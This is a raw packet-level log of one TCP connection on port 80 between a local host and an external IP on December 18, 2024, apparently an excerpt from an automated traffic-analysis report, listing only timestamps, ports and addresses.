Dec 18, 2024 22:02:39.011049986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.013789892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.013930082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.013988972 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.016506910 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.016560078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.016717911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.016797066 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.019331932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.019383907 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.019462109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.019511938 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.022253990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.022305965 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.022317886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.022363901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.025043011 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.025146008 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.025233984 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.025310993 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.027787924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.027853012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.027980089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.028036118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.030700922 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.030818939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.030874968 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.033672094 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.033855915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.033910990 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.036977053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.037144899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.037162066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.039719105 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.040098906 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.040152073 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.040211916 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.041789055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.041912079 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.041970015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.043724060 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.043781042 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.043843985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.045128107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.045551062 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.045692921 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.045747995 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.047831059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.048016071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.048078060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.049809933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.049923897 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.049978971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.051918030 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.051969051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.052159071 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.052223921 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.054064035 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.054116964 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.054120064 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.054302931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.056061029 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.056114912 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.062021017 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.062226057 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.062295914 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.063214064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.063416958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.063477039 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.063858986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.064677000 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.065602064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.065658092 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.065725088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.067697048 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.067841053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.067900896 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.069729090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.069931030 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.069988012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.071885109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.071944952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.072077036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.073158026 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.073916912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.073972940 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.074110985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.074162960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.076096058 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.076155901 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.076234102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.076284885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.078260899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.078353882 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.078412056 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.080230951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.080540895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.080610037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.082496881 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.084964037 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.175853968 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.175930023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.175997019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.176125050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.176697969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.176774979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.176803112 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.176871061 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.178282022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.178421021 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.178786993 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.178844929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.178946018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.178997040 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.180491924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.180541992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.180547953 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.180691004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.182024956 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.182080984 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.182111025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.182233095 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.183645010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.183696032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.183732033 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.183747053 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.185173988 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.185226917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.185444117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.185494900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.186760902 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.186816931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.187134027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.187246084 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.188258886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.188311100 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.188401937 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.188446045 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.189929962 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.189989090 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.190025091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.190073013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.191382885 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.191437006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.191524982 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.191574097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.192897081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.192953110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.192962885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.193130016 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.194297075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.194348097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.194423914 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.194572926 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.195732117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.195782900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.195849895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.195914984 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.197170019 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.197225094 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.197384119 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.197434902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.198683023 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.198717117 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.198769093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.200057983 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.200109959 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.200181007 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.200227976 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.201524973 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.201571941 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.201575994 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.201688051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.202933073 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.203059912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.203111887 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.204421043 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.204474926 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.204479933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.204644918 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.205730915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.205782890 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.205884933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.205934048 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.206971884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.207021952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.207133055 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.207180023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.208427906 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.208481073 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.208692074 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.208751917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.209744930 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.209793091 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.209839106 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.209888935 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.211146116 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.211230040 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.211277962 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.212450027 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.212508917 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.212575912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.212632895 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.213844061 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.213892937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.213964939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.214011908 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.215210915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.215262890 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.215305090 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.215352058 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.216517925 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.216567039 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.216690063 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.216744900 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.218116045 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.218166113 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.218231916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.218285084 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.219320059 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.219367981 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.219433069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.219480038 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.220887899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.220905066 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.220936060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.220952988 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.222162008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.222213030 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.222289085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.222338915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.223499060 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.223548889 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.223639011 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.223692894 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.224862099 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.224927902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.224971056 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.225023031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.226150990 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.226201057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.226291895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.226339102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.227513075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.227560997 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.227624893 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.227672100 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.228849888 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.228903055 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.229027987 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.229075909 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.230298042 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.230346918 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.230420113 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.230467081 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.231599092 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.231669903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.254220009 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.254348993 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.254422903 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.254993916 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.255048990 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.255100012 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.255249023 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.256217003 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.256267071 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.256377935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.256428003 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.257564068 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.257612944 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.257785082 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.257833004 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.259001017 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.259046078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.259162903 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.259212971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.260432959 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.260473967 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.260485888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.260514975 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.261699915 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.261750937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.261792898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.261840105 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.263252020 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.263298035 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.263448000 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.263493061 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.264612913 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.264655113 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.264674902 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.264689922 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.265856981 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.265911102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.265973091 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.266021013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.267199993 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.267249107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.267323971 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.267370939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.268534899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.268584013 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.268671036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.268718958 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.269903898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.269953012 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.270090103 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.270138979 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.271253109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.271298885 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.368424892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.368473053 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.368546009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.368583918 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.369146109 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.369162083 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.369193077 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.369204998 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.370301008 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.370359898 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.370440006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.370491028 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.371664047 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.371716022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.371958017 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.372006893 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.372993946 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.373047113 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.373048067 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.373090029 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.374305010 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.374331951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.374352932 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.374367952 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.375519991 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.375566006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.375761032 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.375808001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.376801014 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.376876116 CET	49764	80	192.168.2.5	185.219.81.135
